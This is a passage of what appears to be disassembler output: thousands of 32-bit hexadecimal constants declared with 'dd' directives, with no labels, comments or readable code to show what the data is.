0C0E3D0F8h dd 0F7B802EBh, 0F424454Ah, 3A7B0C0h, 0E9096106h, 285423E9h dd 0CE56CAE3h, 0CF8D7A12h, 0B4F91260h, 34BD1243h, 98E2C5CFh dd 795AE968h, 0E0352701h, 14886958h, 680564EBh, 2A8D2F7Bh dd 4AC6C130h, 0E32C3152h, 0E1DF24E7h, 12D0F180h, 0B259CE88h dd 0D250DE21h, 0C303F448h, 4C6035B8h, 38F4EBB0h, 62C84AF4h dd 8E9060Ch, 0B30F0A74h, 29536609h, 312BC1F8h, 0D333E695h dd 8357E330h, 870D01C2h, 8D7F7FAh, 5D784A40h, 3128766Ch dd 7C322FF2h, 0DC1A824Ah, 42A5EEC9h, 5A32A405h, 0D83064BDh dd 5EE6E913h, 4080CEBEh, 5B02964Bh, 5FEE4CC1h, 0DD5F9812h dd 0A143283Dh, 0F820335Ch, 0A006DD31h, 61082591h, 0D3660C84h dd 5989C18h, 0C741C44Fh, 2B824740h, 16432D20h, 84D2470h dd 2D1F66FEh, 203C390Eh, 0A6072805h, 747FEA1Ch, 8B723B15h dd 1E51BCCh, 3B594087h, 8258830Fh, 4645B3Eh, 8C567C70h dd 0AA7A8057h, 6F1F6048h, 8329F4E9h, 2D4D2E02h, 0FE9F4016h dd 0D7018159h, 263B82B9h, 0F4417B0Fh, 2160FE61h, 1B0D16C5h dd 0CB640611h, 0EF005383h, 653C8F4h, 775F5957h, 0BBE93D29h dd 924537DEh, 0AEC806C0h, 1C24BCB9h, 0F1011A29h, 37BE7999h dd 2D248E28h, 9170B01Bh, 250E5210h, 86B7E581h, 93E6F2Eh dd 7F0293Fh, 0B8045216h, 987FB031h, 63E93C0h, 0E94950F0h dd 503D0E6Ch, 1CDA2944h, 1C080Dh, 0CD015814h, 0ED007E90h dd 9472799Bh, 0C96928E9h, 4AC65D62h, 45419090h, 0B8520960h dd 50D30211h, 0DCF668B4h, 21B182C1h, 2C5A2C06h, 712CE559h dd 8B6E8583h, 0E96A2829h, 5BB09507h, 1803006h, 68E6EFCFh dd 3D505311h, 1A9F0C68h, 21250C29h, 0C490F327h, 0CB02C306h dd 70E5E71h, 68BE49CEh, 0A8FFCF29h, 0F4C9008h, 39804021h dd 275FEE80h, 2909F08Eh, 610DE9F3h, 0EF8BA3Ah, 53F48D6h dd 0BCB85825h, 545E555Ch, 806C7B39h, 80D025C9h, 84D87BEh dd 0A30E7CDh, 8805400Ah, 666ADE77h, 51127939h, 7B780201h dd 0BF93C3Fh, 6860022Fh, 544C4B11h, 25FBA820h, 0FB65F130h dd 3437BA88h, 0F7A78CF8h, 27485FB8h, 3B88818Ch, 0C45842C3h dd 88B84B50h, 4001EEE4h, 0E90E136Dh, 0B02806E0h, 5C0BE80h dd 0A496D642h, 15E55792h, 9152E830h, 1627206Ah, 55DEF01h dd 4F1206CDh, 1B2B5425h, 0EBB3ABE0h, 8FEE800Ah, 5D398F28h dd 945B2FB6h, 40D0FEECh, 5F04B957h, 412FBB42h, 67AE6F80h dd 0FE236020h, 66370A0Bh, 8E87E92Dh, 0B1A4D24Eh, 0A70C69B4h dd 7800F879h, 0BF19521Eh, 310BCB7Ch, 0FD018282h, 3BC597C1h dd 19E9FF70h, 8068AA6Bh, 0E07639D8h, 0BCAAFC6Ah, 0C1932561h dd 0BB0853E2h, 894C00CBh, 0C24E2F35h, 0F13A0340h, 0E0D34E8h dd 0DC43E330h, 3A3332E9h, 64AF44FFh, 0AABDC780h, 39C3A54h dd 0B1C1393Fh, 7778AA06h, 49E90FC8h, 3475A77Eh, 2090C1A7h dd 10CC683Fh, 0B268B59Ch, 54E662h, 55AD029h, 0D549400Eh dd 0C639A26Ah, 0DCA41D7h, 425456CBh, 7CB9FD40h, 20FF9864h dd 0B025C0Eh, 40840FC0h, 364D21Dh, 0FEBB5328h, 298A2169h dd 76B924DAh, 5700E5A0h, 8126B752h, 43D3E6h, 0DEF70CFBh dd 6801EE83h, 0B514B031h, 0E5AADC95h, 991B5D97h, 48363550h dd 0CC806E69h, 89A913EFh, 7320F74Ch, 0F822740Dh, 16CD0C63h dd 0CA8139F1h, 53360444h, 6E007B4Dh, 7487691Bh, 919E7AE9h dd 685EC0B5h, 0ABAC24B9h, 0C9600245h, 4BD4EE9h, 0C0D3F702h dd 0B84D6456h, 91295E7Dh, 2C1E8F82h, 0D0C0CD0Ch, 535D3754h dd 854E3B3Ah dd 2798C351h, 11502904h, 0E9028344h, 0D056E74Fh, 0B07003BEh dd 41CB0177h, 9928088Ch, 3EE8E9A1h, 4BAC9509h, 53DE2462h dd 885107DEh, 59EE20DDh, 0E61C805Bh, 7D93E94Bh, 26451D64h dd 64E406DFh, 84011892h, 23350C28h, 9769222Ch, 2680C3Bh dd 69BFFA4Ah, 0BF0FDB10h, 41115F06h, 481EEA05h, 0AF097982h dd 0AC48795Ah, 0EDBAA58Ah, 91AD9051h, 0B650171Ch, 3D5D32B8h dd 41270120h, 2052C861h, 0BD806720h, 164F0757h, 0C2454D59h dd 0E7A51518h, 84BC0DFh, 0A685C1Fh, 6602F40Ch, 0E0F88936h dd 0E658C117h, 2AD0C8CAh, 0CD4D192Dh, 0B4D2316Ch, 0B1BAB63Ch dd 5446BF03h, 8BBA58EAh, 0E0A4A57h, 0C0FF5610h, 7D2B1FF9h dd 4136EBEh, 3CF19AD3h, 51660B2Ah, 685D7FA0h, 989E4E9Bh dd 0EFA05367h, 0C6DA866h, 527FE95Bh, 9790D693h, 0D111D80Bh dd 13A38524h, 2C68BCE0h, 2A683947h, 0B25248B6h, 15C5610h dd 0CA6DCEBFh, 0FA92013Bh, 0FD192455h, 802F1FF4h, 67095813h dd 98D77367h, 14870C83h, 358842B9h, 0A868051Dh, 4C84D91Eh dd 18BEC1AFh, 23C62393h, 78C54996h, 81011A48h, 0CE03F8F6h dd 0F7E87101h, 4071C781h, 1C4888D7h, 39996051h, 0F26B8AA7h dd 49D00580h, 4889F66Ah, 0E9B0BCC6h, 848244F9h, 20B8F319h dd 22025D2Fh, 0F963E1C1h, 7E18F4A0h, 0CE01A805h, 6AACD8E9h dd 582E6543h, 0AF68C1C2h, 41302A5Ch, 13950441h, 3EBC140h dd 565EF3FBh, 90B70BCBh, 3A247872h, 0A4010D90h, 0C1259360h dd 98FF02E7h, 60E02182h, 0B1CF649h, 87A06443h, 8E247F2Dh dd 2BC666Bh, 3698E9B4h, 0E2827629h, 310345FAh, 50D2BAF1h dd 275B7081h, 68C05AF5h, 0CC03B753h, 0EF80D7F6h, 67E79972h dd 0F689CFD8h, 4EC7F6DFh, 0B167280Ah, 0A304904Bh, 79E77042h dd 232A247Bh, 0F1C151EAh, 4D8F7C07h, 4B3905E8h, 81017481h dd 5AAE7918h, 76016C43h, 80CF0037h, 0E97D1746h, 0A4B542ECh dd 0FFAC93E3h, 52A7345Bh, 281DA5C5h, 0BDFA8482h, 5AD9800Eh dd 5497D7C1h, 87038158h, 0DAEA5040h, 5A488F68h, 66D3DFBEh dd 0A9BBC8B0h, 518ADC70h, 2655ED81h, 80716EEh, 4813DD09h dd 677B4DF0h, 50EF2DDAh, 294C8C70h, 880459Ah, 284ABCE9h dd 8B4BB58Bh, 5B9259BEh, 49626752h, 153A353h, 0A21CF2D9h dd 0A15EE90Eh, 361968A0h, 0D0A4F16Ch, 0BF6A4802h, 2E463D26h dd 8C44123Ah, 5EF20905h, 22E8D600h, 27E979B0h, 606C56A6h dd 9851C120h, 9C054AEDh, 2295D288h, 0F9BD3187h, 0C254C426h dd 0D57C7063h, 8B09E22Ch, 0A0A4796Eh, 0F1C6A06Ah, 0CE2C045Ah dd 8204C828h, 0BFD8EED6h, 6805C7B6h, 31C829DFh, 9F64629Ch dd 9368BCF1h, 0DB93087Ch, 707DF002h, 0F4D84173h, 0DF010D89h dd 0A84EBC85h, 4DB90342h, 0D3190E7Bh, 0BDE900D0h, 2E765697h dd 0ACF8E829h, 0FF442492h, 88DE4112h, 96564D2h, 1265D129h dd 59CF3104h, 2BC11087h, 0C815B18h, 4A4B3246h, 311A6029h dd 0C28FB3B7h, 0AA6640C3h, 4B29D3Ch, 959C13C5h, 9AB54D2Ah dd 5D2094C3h, 0B92545Bh, 55643D9Eh, 0C2095C03h, 0F250E2D1h dd 5860C961h, 3328326Fh, 631AB86h, 0EA5C0DC9h, 62937964h dd 66010253h, 63CEF029h, 0BBBEB099h, 41E5B035h, 0E462831Dh dd 0D9021712h, 37324A9Fh, 0A0D3D29Eh, 6F925F6Ch, 6F401298h dd 3EA0FC0h, 0AB45C2FEh, 0C05B1718h, 171109FEh, 77985148h dd 0C6483F5Ch, 8462835Ch, 0B9AB9834h, 995596D8h, 0E6296A92h dd 5C319502h, 930847CCh, 133B7DBBh, 0DE1D96C6h, 68B78D22h dd 11FB8E3h, 2526C577h, 41511843h, 5794888h, 0FC7F9905h dd 0F4DA1CA8h, 0E90549F9h, 9328207Ch, 43D15A21h, 4CE95757h dd 0F70625CEh, 47BA77B2h, 3D490B0Ch, 5004069Fh, 8B478007h dd 0E302A3CEh, 74E9FE31h, 2535D902h, 6E5F2522h, 7EAD6801h dd 1CCBB728h, 0BF472351h, 14032651h, 12470260h, 0C06EFC1h dd 0B62C63D5h, 18711A48h, 575761D7h, 40F0864Eh, 873BE989h dd 50B21BCFh, 3E2451D4h, 3F49A30Ah, 0DB454049h, 0EE018014h dd 4A305D58h, 2A29E209h, 1340100Ch, 24386468h, 810FFBE9h dd 0AD7FC205h, 0C7512025h, 3F727BD5h, 0E84C01h, 4C3D0516h dd 492BE951h, 0A5962B50h, 2AE3F536h, 0F1056100h, 906A5B72h dd 18360028h, 0CD811FA1h, 8FA5E41h, 0D100C5ECh, 3142A9AAh dd 7C255DE8h, 6DDF00EEh, 1652F035h, 995AE967h, 83ADEE02h dd 201427Fh, 221A6DCDh, 152A27B9h, 22FA5419h, 0A801F1F2h dd 2C024519h, 0C1E91FF6h, 4450A06Dh, 4C2EB15h, 8959CA31h dd 2F2A89D7h, 8D044B64h, 691C8E9h, 3323C87h, 0DDDFC99Fh dd 0AB2BCACCh, 0AF2F971Fh, 0C65DA6A7h, 902DB02Ch, 0C8ECF804h dd 770BE011h, 27EFD179h, 0D5A6D096h, 9658C62Fh, 41F69857h dd 2228D9B9h, 15D23721h, 0AC61C3D0h, 1D019E15h, 1A5B0A6Ch dd 2344A5A0h, 0F605D816h, 2AA80D11h, 0E09B0A2Ch, 0EBA5200h dd 0F272D55Bh, 3E98A0EAh, 21688069h, 8496074Dh, 0B2CF3FAFh dd 9C4B2550h, 3DEE4A78h, 5066A454h, 8B0286ADh, 1000B9C5h dd 3A50535Eh, 0BC201E57h, 0CBB2CB15h, 0CDC680A0h, 31057B25h dd 0D3215BDAh, 1CF3F103h, 532C8170h, 0A193C0E2h, 0EF3A9EEBh dd 882F496Bh, 3B3C0770h, 0A5C47671h, 41D63FCh, 0A028D20Eh dd 5B0F0D52h, 4539464Dh, 25DC44CFh, 4182258h, 0E4B90C2Dh dd 15DDF12Ah, 35164A77h, 27B8E318h, 8B240931h, 81B66F79h dd 30DCB652h, 34B230F7h, 0D9E44BD3h, 88D04E26h, 4E2668EAh dd 56604907h, 2E43C1BEh, 249F0A12h, 2F601094h, 0C74D6809h dd 7B323F42h, 5D78EB1Ah, 0D0C4EF22h, 0EFA091E5h, 0D802D29Bh dd 0DE716EE9h, 5D888B77h, 149D7A6Ch, 92E91210h, 79E7613Dh dd 48D22942h, 2A02742Eh, 919FFFBh, 9846E3CBh, 5CD736E6h dd 0B830321Fh, 2B13ED9Bh, 0C067DC34h, 0D220EDE1h, 7F3948A0h dd 0F22DDAC1h, 0BEF41715h, 0F834DC91h, 0C575DEDDh, 5634533Eh dd 7A4088DBh, 0AF75840h, 5EDC1D5h, 0FB902ACh, 9940422Bh dd 4F5878CFh, 10C2616h, 2887ACh, 0EDD144Fh, 0E95E5783h dd 2C60C5FFh, 0E509834Eh, 0E6C10F39h, 0D4EB4E05h, 8C0735ABh dd 6D8929F9h, 0DF4EB451h, 0FA15E700h, 0AEAC12Eh, 1210E907h dd 8D0E6BE4h, 8822B017h, 0C55ECB77h, 0E0C86FC5h, 60FE841Ch dd 4E280640h, 179545E5h, 0D6CEE90Ch, 23B64F06h, 0EBC8AAD7h dd 0CB40EA26h, 0BAE6EB80h, 0B8A1C8A2h, 301700F4h, 6F102D44h dd 0D1070627h, 5D0F7E8h, 7F322530h, 25AEC48h, 0E9135F3Dh dd 0E0487597h, 6DB2B758h, 0FE1C40h, 7EFC0CFh, 2081B151h dd 501F59F0h, 0CC83B3B4h, 9812C480h, 5FE9E4ECh, 5B210242h dd 11D4F189h, 1F4F2150h, 32E9591Ch, 165AF769h, 29131B66h dd 0A5FAC636h, 0E81C3976h, 0A483BA2Ch, 0F2C33059h, 1E4450F4h dd 901F180h, 6E1B73E2h, 0EC1E19Ah, 0E9FF5575h, 90F4D6A8h dd 25B80E50h, 4762B2Eh, 0EE57CDh, 0FC3212BBh, 83215B10h dd 3EC0ED10h, 809D70CFh, 4F11F519h, 91C1355h, 7E69A3E9h dd 68BEBBF0h, 0C8F0AD3Eh, 1256E2AFh, 0B1DDF27h, 0D39473AEh dd 0C7892D4Ah, 0FD54D17Dh, 0A4009723h, 6866DFF6h, 90B1CF79h dd 0F0F8880Bh, 0EED6FEA1h, 125A7AF0h, 0C34DE9C7h, 80C858D2h dd 0EBE6B8C3h, 29874E4Eh, 0AE800289h, 3660537h, 0C82850EFh dd 63D00AB5h, 7866A79Dh, 4696CA99h, 0FE5AE8D2h, 10686306h dd 0C1EEECA5h, 7E8877A5h dd 0B3DA3160h, 0C5CC2CFAh, 2E298154h, 681148C3h, 92E9D049h dd 5BB164A8h, 0F8AD0303h, 91482BBh, 0D3F70D7Fh, 0BEC2D20Ah dd 0C385CCCFh, 0DF32CB41h, 9506E480h, 6126E92Ch, 0BA9672D6h dd 0C10073E2h, 45FA5C11h, 0F3A2D101h, 0D460809h, 690786C0h dd 39313A2Bh, 0C8825BD9h, 7B8D6859h, 10E66AFh, 176AA716h dd 12F2F021h, 0AA8A5126h, 0B3D5C4C6h, 187B1FC2h, 0C7C16062h dd 5F1E3C2Dh, 29F705F6h, 0A05A6771h, 0E92C51FAh, 14AFB880h dd 0ED40B0E2h, 0AC923A3Ch, 0EA62B7F8h, 0BBA09002h, 0F197CE47h dd 0BC7920E4h, 0F7C799D9h, 586C68F4h, 0B8D29344h, 0B5291737h dd 0F438FC73h, 100AAE12h, 0B32C9909h, 7D4FF11Ch, 18E902F5h dd 808F0625h, 0CF450768h, 0EC587702h, 200BE42Fh, 90975520h dd 8AFE0107h, 72EA7341h, 0D07ECB59h, 828AB4CCh, 64820ED0h dd 3A20CC64h, 0AF70C14Eh, 60192F68h, 6C10B409h, 15F6DE3h dd 0C03096DBh, 5E8E477h, 0AD0B0590h, 0D965BD09h, 0E908029Eh dd 0B0714C9Eh, 0B8BD96AAh, 5AB668E8h, 0DD523167h, 0BF5700DFh dd 167074CDh, 0D8FA2128h, 444ED509h, 5159FC21h, 83878172h dd 0E4D169E9h, 2668808h, 0FF8F022Dh, 0AF856F8h, 6B7CF85Dh dd 0C23C054Ah, 0C659B049h, 6286963Dh, 0C2515DE9h, 80A06843h dd 35583437h, 0A20DA435h, 5195C5AFh, 16997A21h, 0DAC4387Ch dd 0DEEDACDCh, 12B3B17Bh, 7BF830h, 0AEB25253h, 0DBFED488h dd 0F1B03B9Ah, 0B7532D00h, 2E7C064h, 0CFF73980h, 15BDC797h dd 8917ACFAh, 4B288AC5h, 41D81710h, 57258B55h, 15189654h dd 7F062668h, 0A4BF848h, 1B983318h, 0D4E0631h, 2EE97598h dd 8A1CE5A1h, 47302C7h, 0A4BB0F66h, 0F3DF8686h, 0F3B4C2Ch dd 8629424Ah, 0B918B67Bh, 604C088Ah, 0F64D763Fh, 4C55421Ch dd 0CC01107Ah, 0D3E1324Fh, 6D965011h, 2F31B258h, 31DD9959h dd 0F133BBBDh, 0EBA3249h, 5A18C3F4h, 82E3CE64h, 46479471h dd 33CEC671h, 0C806921h, 32F97445h, 0E912F389h, 2460426Ah dd 40122338h, 0DDF3C72h, 0E227C39Eh, 0CDCC401Bh, 3642247Dh dd 0A3723C30h, 1C31E908h, 6FB95D6Eh, 0B2DD6A90h, 0E27C0D9Ah dd 0B160218h, 600C130Ch, 64C2B289h, 3C4A576Bh, 56741EC2h dd 0C81B25E3h, 68404F50h, 187EF525h, 2E3BA4E6h, 2CE37940h dd 44DD2451h, 2046B2EBh, 6347FE1Ch, 97C71F12h, 51443188h dd 1D1FB971h, 0E1012D77h, 69C9207Ah, 32BFE083h, 0C0E6DD8h dd 44506AF3h, 0A3C0D9F7h, 0E3B2616h, 59CA01E6h, 0E78EFA69h dd 18AD4401h, 79A305Fh, 51E93C94h, 21454AA6h, 66C389F9h dd 40156456h, 7E09569Dh, 55E1F72Eh, 0CB332609h, 293DD3Dh dd 58332527h, 4803B5F1h, 26063D02h, 3B70830Ch, 20E5A14Ah dd 4AEAC15Fh, 0CD593824h, 5D73495Ah, 79300A49h, 0BF4340E4h dd 9C053A09h, 0B1D18065h, 2B5AE812h, 8726C729h, 3405E7C1h dd 3DA4C1EFh, 35A981FFh, 34AB67A5h, 65245AEDh, 0FEC516B2h dd 5D30C2CAh, 0D0806D54h, 619D942Dh, 4A84F8F2h, 27E44905h dd 0C30687FAh, 381F0335h, 3E32090Ch, 0BA8A0BA2h, 0D0082008h dd 0F74C140Ch, 33C4E11h, 0ACF6C0EDh, 0E0BDB3Fh, 41E58091h dd 0FE5FC561h, 0BDEDE0CDh, 14D5F630h, 6594E987h, 8CBA2AE8h dd 19F5EE6h, 5F02984h, 58C861F0h, 648E980Dh, 26CEED92h dd 61C7CB01h, 0EC5038FCh, 83F0637Ah, 632E3C6h, 23663CB6h dd 6F1147F7h, 0EE75EEC5h, 34AFB7FCh, 0BD2B5560h, 0C6780120h dd 0AC0844E5h, 5081DE98h, 0B81DC868h, 0E01F40FEh, 2D480106h dd 0EE0771FBh, 0D6FCFAE9h, 181EB526h, 1B01A009h, 254F7BC3h dd 4C5936B5h, 0B0D7E5EFh, 850DE620h, 62F23458h, 29DDE052h dd 0F810D801h, 26E9D001h, 0B659B238h, 53BC825Eh, 810F520Bh dd 5E034A86h, 0A55B3C2Ch, 66F3303Ah, 0B0874C88h, 1B4B9Ch dd 86D7F6F4h, 0E17BD0F9h, 0B312694Fh, 5E7B7CF3h, 0BF4F803Eh dd 0C6272D51h, 98F40A9h, 0C15D09EBh, 0D97806E3h, 41511827h dd 0A9A474F0h, 9AC1010Ch, 0F40EA54Fh, 26BE2037h, 27285669h dd 0B457CB62h, 0B3772035h, 6BB20D05h, 8E022085h, 589C7F74h dd 0A3EE4BDEh, 0E010C989h, 73215D0Dh, 4AD1F2EAh, 0D738E45Ah dd 7E901C4Ch, 515BDF25h, 282A435h, 5C097F42h, 0E1C17060h dd 0E9520609h, 5048297Ch, 0D7829057h, 0A35F34Eh, 72575AD7h dd 6089E90Bh, 3C4FE41h, 5247F480h, 2EE9E688h, 0E34DA7BAh dd 1BA8A51Ah, 24E90840h, 0A77FAFC6h, 54FF280h, 499746C4h dd 0F04257D3h, 24C6CEB2h, 6E460F42h, 6ED4E369h, 5A505251h dd 425AD529h, 7A944055h, 4BB1D40h, 29670CEAh, 0EF97C043h dd 3E00C20Fh, 0C15FFB01h, 0E5E905EBh, 625A417Ch, 0EC78671Ah dd 10DEBB05h, 0B51F3606h, 0A5C21512h, 8CA7166h, 310EE1AAh dd 102CE5C8h, 2EAD5DA8h, 0BFC745D8h, 1DE6F628h, 1CC644DBh dd 408EAC01h, 0F14DE908h, 0CA050265h, 62419177h, 0B5C50C2h dd 2516DCBFh, 0CB07C670h, 0E9637040h, 1C900AF4h, 25C076B3h dd 366504E3h, 806EB600h, 62F601EEh, 0B55104D6h, 0CDAF9F60h dd 0D2F3B3BDh, 6222578Ah, 0F3D4D030h, 96E0EECFh, 0B9D306C8h dd 0AEBC08CAh, 89036724h, 0B0713179h, 96A53F6h, 1FE948CDh dd 9FCEE742h, 4A585253h, 8414FA98h, 2B7DE910h, 0FF3CE848h dd 0BC720612h, 603DCB5Eh, 5BF00178h, 7402485Eh, 0EEC38084h dd 5FC994B4h, 446BCC16h, 0AB36E84Ah, 500FE819h, 844B71A3h dd 0B66E5B6h, 0CE011761h, 63AE8A59h, 22C138E7h, 87B62944h dd 3F81F664h, 1A8FF78Eh, 0D42CE786h, 2AF48008h, 285A8297h dd 95A2D0F8h, 0B04C2816h, 59C887F4h, 0A7D86882h, 0C4F4C186h dd 2DD0C9D7h, 98F41691h, 84B34F18h, 0F55C01Ch, 59B802B6h dd 9077A027h, 0C0ADD174h, 4C6AC5F5h, 0E5974AB0h, 7FE04B0Fh dd 0F1093DF2h, 0EED53128h, 0F2AFD411h, 0C52F014Fh, 2A74C08Dh dd 3B6F59C3h, 289AF31Dh, 175C82D4h, 10325279h, 384C5A2Fh dd 92072125h, 904D60CAh, 9A1197EEh, 418B3A59h, 0CC39FD17h dd 48E66F9Eh, 5FE92E13h, 50B2F0h, 0E28867B4h, 66D13058h dd 0C84A5A74h, 0C748248Bh, 802E3624h, 0F39DEB9h, 0E1078165h dd 138B2CC8h, 3098C960h, 0F72514FEh, 231C8FD1h, 0E9DA05C7h dd 0B015902Bh, 9D482C06h, 6E112EDCh, 8A0ABE26h, 0F6818ED9h dd 6E6A44B1h, 5D0E0C85h, 0F1AB80D4h, 0E926515Eh, 17AED978h dd 866922A9h, 0F136492h, 0D7F7FB87h, 540462Bh, 77E8E2D1h dd 8F51240Eh, 594B9947h, 0A32D4C39h, 805BF400h, 38986FF6h dd 0CE33D076h, 0BA7C12D8h, 0A78FE0E6h, 9EB63552h, 0F00C8022h dd 2CE6285Ah, 67B05475h, 2E50CD5Dh, 2A0BF666h, 0E26C0E7Ch dd 0C12BDFBBh, 5BF9DD44h, 0C49A062Eh, 0C15E344Fh, 5463CC44h dd 0D5B45909h, 0EE25E694h, 0B0FBA42Ch, 106B4D3Bh, 562A2685h dd 544A0496h, 0D75B0AF6h, 0E54D803Bh, 34EB8164h, 29923B36h dd 5761E300h, 0E94B3303h, 5A6EB825h, 0D7C9EF18h, 35798E66h dd 0A55276h, 0E720A449h, 0D4A55811h, 5F0FB994h, 0C5F0FB81h dd 34B2F981h, 0CC17F280h, 0D3E042C2h, 0E9DCADA0h, 2A3C35EBh dd 0A9D50F8Ch, 0C6805DD9h, 7F5A1508h, 4E55F768h, 0CFAF3038h dd 0FE9C7E3Dh, 9170B92Dh, 0BD3C596Fh, 0A2B990D2h, 9D50CFA3h dd 7804DC88h, 0ADE9478Bh, 0FEB4FA91h, 0C162AC60h, 0F69CB60Eh dd 2C0C20DEh, 82B0304Eh, 3C15BAB2h, 955BD001h, 0C207007Dh dd 0E95E7E70h, 0C437BF25h dd 0E58012C6h, 6C8C0203h, 4F45E828h, 1E4A6508h, 0BC5A5252h dd 0EEAF40E2h, 35194509h, 49C4F464h, 393065Eh, 983156B1h dd 7C34A221h, 9CDE5829h, 16A0DA20h, 0C08251B0h, 3D197FCFh dd 96A50220h, 0CE5BA305h, 16474811h, 4AC8382Eh, 555B2568h dd 77A47F45h, 0E1A7781Eh, 27E1D8Ah, 59EB2879h, 0C297CFCEh dd 718055C9h, 0AAF2E987h, 9D0A2CD6h, 2C8F8145h, 8BF8EBE1h dd 6FB8CB8Fh, 4D6B0253h, 0EFC0AAE0h, 72F7A9A0h, 2576CFE6h dd 0E983C709h, 3BD55862h, 0C0A582B3h, 2CAC6380h, 3FB00496h dd 4F231F2Ch, 6ED437C3h, 6A206C89h, 0C50150E8h, 885CAF1h dd 8668B858h, 49D63B3h, 9F0B31F2h, 4B87C232h, 0E2C3268h dd 0C684F4A2h, 893109F1h, 3B777CF3h, 38AEC33Eh, 0FD0192F4h dd 0CA957FECh, 1DAB5FC3h, 0E925D4F2h, 0B016E89Dh, 0DB84823Bh dd 0C3FE031Eh, 2CAEE050h, 606BF8AFh, 0C8BA182Eh, 607623Dh dd 4204E2C1h, 1503D71Ah, 4189246h, 8835800Ch, 7C05BB4Dh dd 0B6B2D86Ch, 1392B800h, 0E0C166CAh, 63F035F2h, 100EC832h dd 9BE4007h, 0E9557569h, 56812C7Fh, 849E97Ah, 9D855A97h dd 0F059BA22h, 412B2A99h, 210C5DFDh, 58545009h, 0B5CA457Ch dd 39B6E905h, 0F72CCCF7h, 804B1645h, 0FD876644h, 35965F90h dd 8FB55F13h, 0E8844C63h, 0F95D0B68h, 27D3AE51h, 6059F810h dd 0EB277D93h, 0B1E6E980h, 8957669Dh, 0ED60DD9h, 0E2C8F26Fh dd 0E3F94F11h, 7DD4EE3h, 43B4E0Dh, 4711C99h, 8DFDBAE9h dd 5EF2EE51h, 19662721h, 79CC504Eh, 0B4EBF453h, 85222CB8h dd 0E322E2E9h, 6856043Bh, 6BA21FD5h, 0B4E92398h, 0C9351D5Ch dd 4BAEC051h, 264D7A4Fh, 0FA75AD1h, 66E25F12h, 0F95C74E9h dd 29C5BA24h, 214804C1h, 0CDEF403Bh, 5F2214B0h, 9025E5ECh dd 0EDA8404Bh, 0EC04EC8Ch, 10E42CE9h, 0FAEF41B0h, 2BB7029h dd 0D3A9329Fh, 4E8310F0h, 0E4389CE6h, 0E50467C9h, 0EC6CD468h dd 247DCE7Fh, 37EF46B9h, 60EA6796h, 1741CA81h, 7921543Bh dd 0B06AA517h, 2EC24104h, 1D80105h, 0AE31BD88h, 0DEFD301Dh dd 47642C70h, 28805AF4h, 4F446B0Ah, 53E0116h, 97F2657Eh dd 15C11ECEh, 0DEC5B2Dh, 0C58924A3h, 67A02FDDh, 3E79E6F2h dd 9B2AEDB8h, 88395D0Bh, 5AD716C2h, 0F63E918Ah, 0CFFE0460h dd 8A92FFE9h, 2B52AD26h, 6226A602h, 202F653h, 4E8C5599h dd 0E9C9EBE3h, 88CC3BB1h, 6C9709BDh, 0E2027D91h, 22C45CAEh dd 0BB57DB0Fh, 0F127F43h, 2D68C728h, 4612107Ch, 3B5ED811h dd 0B30F1D21h, 0F0175B2Dh, 0C57C90A7h, 670B3A5Ah, 2E821BEh dd 77E6750Bh, 7E68C3B8h, 72316655h, 0B0B8B4F7h, 52B44A16h dd 77DBD92h, 64167DC7h, 0F510DA95h, 5AE93C08h, 0CE888D81h dd 0C7DED822h, 0C15A66F0h, 347CE9B0h, 8ABC59E5h, 7AF6D809h dd 394A00CDh, 0BA2D69FBh, 5500AE7Fh, 0B45C4005h, 0F9E8290Bh dd 11CA0747h, 39E85D12h, 0B079E909h, 0EE2742FAh, 45F49418h dd 0D0FE6DF5h, 4EE74DEBh, 54527B40h, 18B8505Ah, 94823DDEh dd 41161CF2h, 0DF19E976h, 823F6452h, 0CCAB24B6h, 15E1ABB3h dd 0F1878234h, 5CE53F97h, 0FEE228E7h, 77061883h, 5AB21E18h dd 0A51E5B3Dh, 684F017Eh, 0CA3A3715h, 0A1454BBAh, 9C20E5EBh dd 14CDB536h, 88EF89A9h, 8816F829h, 660ECE3Eh, 51ED1259h dd 0B2528D9Eh, 0D382F26Ah, 44C1D828h, 9E0D3CBBh, 0FFA06E16h dd 5334B658h, 0C5832505h, 0DEC0C101h, 156D5F7h, 920E47BEh dd 388FE939h, 0AEBF07D2h, 58CBF853h, 0D803B50Ah, 9590E1F3h dd 5E3DF531h, 7906A5E9h, 3883423Ah, 80C9FE00h, 387B73C1h dd 0E04830EFh, 1F314810h, 0EBC42F04h, 0EBC2818h, 2F0F9075h dd 7AE66373h, 4B45D92Dh, 258A74DBh, 0F3E5F001h, 682E826h dd 56C9C7E9h, 9E6369F8h, 38E05FE1h, 0CBC89345h, 5042920Eh dd 1F8C865Dh, 13737279h, 0BB0EA0E5h, 0BC37A701h, 4B84684Dh dd 31042836h, 0BC15AF3Fh, 2ECD03D0h, 0B0145518h, 3FD4B5F5h dd 0DD18F61Dh, 3D461E45h, 9399A20h, 8DA3EA99h, 68919809h dd 3C6C2Fh, 3D583905h, 0B5C689BDh, 0E9891CC7h, 2E942A9h dd 72CBCA71h, 31519DCh, 0FDC60CA0h, 105C41Dh, 0BB53D600h dd 64881670h, 2001BD43h, 3B579CE9h, 762DEE62h, 8B055AF3h dd 0C243A8D6h, 77C8AF0Fh, 0A5746302h, 6FF84B05h, 665BEB00h dd 8952E75Eh, 7AB1DA59h, 0BBC39897h, 0CB1F04D0h, 0EBD9217Bh dd 0C1D93929h, 8E88302Fh, 533EA57Bh, 5CC98349h, 922D02Ah dd 527C7F1Ah, 2135E183h, 0D7B4C54Bh, 4967B859h, 0CC4EC6AFh dd 9AB75C59h, 75367F51h, 3CA2E895h, 326C9D29h, 81D04F45h dd 2F5D78F7h, 0B9436807h, 2ED38BF9h, 30A51F67h, 3BB7B742h dd 0B1C185A1h, 0B229BAE0h, 6A2000ACh, 0CC2576CFh, 661D1D08h dd 149C435h, 6B54D626h, 60697659h, 82D77B99h, 51CA6240h dd 294E320Ah, 82096D1h, 0AAC0CC0h, 955A088Dh, 9A81B794h dd 8537244Fh, 50A469h, 4373E7B7h, 96BE024Dh, 3149D4EBh dd 2D588AF6h, 5F11E4E0h, 7F71040h, 38C6E90Bh, 555CAD94h dd 7ED716E1h, 12AA078Ch, 11F426h, 28685886h, 226875Ah dd 90B0445Dh, 58B36FEEh, 0AC4D3227h, 0BBE9899Fh, 5F27B678h dd 5768C05Eh, 9909F268h, 0DE7AA534h, 557E5E84h, 0DBB0FD72h dd 0BBB221D2h, 450345C5h, 0AF5B5424h, 2F68EE68h, 8E4523C8h dd 76D6A12Dh, 604864B9h, 143A7FBAh, 0FA3125DDh, 7801A258h dd 2141E472h, 4E4C46D0h, 0F6B2565Ah, 0DDD5E24Fh, 